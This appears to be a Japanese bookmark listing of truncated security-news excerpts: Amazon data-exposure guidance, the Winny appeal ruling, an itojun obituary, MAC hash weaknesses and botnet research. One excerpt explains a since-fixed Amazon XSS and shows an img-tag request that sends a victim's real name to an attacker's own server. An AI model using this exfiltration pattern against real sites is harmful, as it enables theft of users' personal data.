先月、ネット通販大手のアマゾンのサイトで個人情報が誤って表示された問題で、政府の個人情報保護委員会はアマゾンに対し、再発防止策の取りまとめと利用者からの問い合わせへの対応を確実に行うよう行政指導しました。 これについて政府の個人情報保護委員会は、トラブルは１日で復旧したものの、およそ11万アカウントの利用者の個人情報がほかの利用者に表示された可能性があるとしています。 そして個人情報の取り扱いに問題があったとして、11日付けでアマゾンに対し、再発防止策の取りまとめと利用者からの問い合わせへの対応を確実に行うよう行政指導しました。 また個人情報保護委員会は今回の問題を受けて、ほかのサイトの運営事業者に対してもプログラムの修正やバージョンアップなどをした場合は動作試験を十分行うとともに、システムにぜい弱性がないか確認するよう注意喚起を行いました。
ウィニー開発者の著作権法違反ほう助事件で、大阪高裁が８日に言い渡した控訴審判決要旨は次の通り。 【ほう助の成否】 （１）ソフトについて検討 ウィニーはＰ２Ｐ技術を応用したファイル共有ソフトであり、利用者らは既存のセンターサーバーに依存することなく情報交換することができる。 その匿名性機能は、通信の秘密を守る技術として必要にして重要な技術で、ダウンロード枠増加機能などもファイルの検索や転送の効率化を図り、ネットワークへの負荷を低減させる機能で、違法視されるべき技術ではない。 したがってファイル共有機能は、匿名性と送受信の効率化などを図る技術の中核であり、著作権侵害を助長するような態様で設計されたものではなく、その技術は著作権侵害に特化したものではない。ウィニーは多様な情報交換の通信の秘密を保持しつつ、効率的に可能にする有用性があるとともに、著作権の侵害にも用い得るという価値中立のソフトである
萩野純一郎氏が10月29日に亡くなった。本名よりも「itojun」の愛称で知る人の方がはるかに多いこともあり、ここでは敬意を込めて「itojun」氏と呼ばせていただくことにする。 itojun氏は、よく知られているように、KAME projectでIPv6プロトコルスタックの開発および公開に尽力した主要メンバーの1人で、IPv6普及に多大な貢献をした技術者だ。訃報が流れて以後、インターネット上には萩野氏を悼む声が溢れている。 itojun氏は、最近ではYouTubeで「ipv6 100の質問」をシリーズで公開し、技術者だけでなく、広く一般のユーザーにもIPv6について知ってもらおうと試みていた。本誌では、10月中旬にitojun氏にYouTubeのコンテンツについて取材しており、残念ながらitojun氏に見ていただくことはできなくなってしまったが、itojun氏がIPv6普及のために何をし
↓これ 超おすすめマンガなんです！！！ うそだけど！ ( 修正がはいりました。もう動きません ) 取得後 alert のかわりに、自前で用意したサーバーに <img src="http://自前サーバー/?本名"> かなんかでリクエストするようにしといて、その後、適当な書籍にリダイレクトさせたりすれば…！ 本名吸い取り機のできあがり！ こわいね＞＜ リンクじゃなくて iframe とかにしちゃえば、へんなの踏ませる必要すらないよ！ (ちょっとだけ解説) ↓urlデコードするとこう http://www.amazon.co.jp/exec/obidos/tg/detail/-/<body 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 9
2006-05-16 「はてなの認証API」について、秘密鍵とハッシュ関数を組み合わせる手法によっては、セキュリティホールが発生する可能性があるという kazuho さんの指摘や、ハッシュ関数がiterativeな性質を持つ限り、この危険性からは免れませんという hyuki さんの指摘がようやく理解できた（遅すぎ？）。 忘れないように、図を書いて整理しておこう。 正当なユーザによる MAC の生成 まずは正当なユーザによる署名データ (MAC) の生成から。 署名データは、「秘密鍵 (共有鍵)」と「パラメータ」を連結した文字列のハッシュ値になる。 秘密鍵を知らないとハッシュ値は生成できないから、ハッシュ値が署名データ (MAC) になる…という考え方。 ハッシュの仕組みは下の図の通り。 結城さんの暗号技術大全入門 P.177 の図を元に、少し簡略化している。 緑色の枠は第三者が入手可能な情
Telecom-ISAC Japanの企画調整部副部長である小山覚氏は4月26日，「RSA Conference Japan 2006」の講演で，「ボットネット」を実際に運用することで判明した調査結果を公開した（写真1）。 小山氏らはインターネットでボット「rxBOT」のソース・コードを入手して，検証ネットワーク内にボットネットを自作した。その上で，ボットネットの命令伝達体系やサーバー攻撃手法などを調査した。小山氏は「最近のボットネットは，使い勝手も良く機能も豊富で，非常に洗練されている。真剣に対策を講じなければならない」と訴えた。 Telecom-ISAC Japanは，国内の通信事業者やISPで構成するセキュリティ組織である。小山氏はボットネットを自ら運用した背景について，次のように語った。「去年までは，ボットネットの管理者（Herder）からボット（ボット・プログラムに感染して乗っ取
(4/21 追記) Winnyには、実装上の大きな問題があるという報告があります。Winnyユーザの方は、こちらをすぐ見てください→アンカテ(Uncategorizable Blog) - Winnyに実装上の欠陥あり! (追記終わり) 私はこの場で何度も書いているが，ソフトウェア品質で大事なことは「バグがない」ことではなく「逸脱（Deviation）がない」ことである。製造上の欠陥（バグを含む）は設計からの逸脱なので比較的発見しやすい。設計上の欠陥は要求からの逸脱と言えるわけだが，この判定はちょっと難しい。 これを補助線にして、「要求仕様」「設計」「実装」の3レベルでWinnyの問題を考えてみた。そうすると、バグ有りWinnyとバグ無しWinnyはやはり区別すべきだと思うで私が高木さんに主張していたことが明確になってくる。若干繰り返しになる部分もあるが、この枠組みで書き直してみたい。 W
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く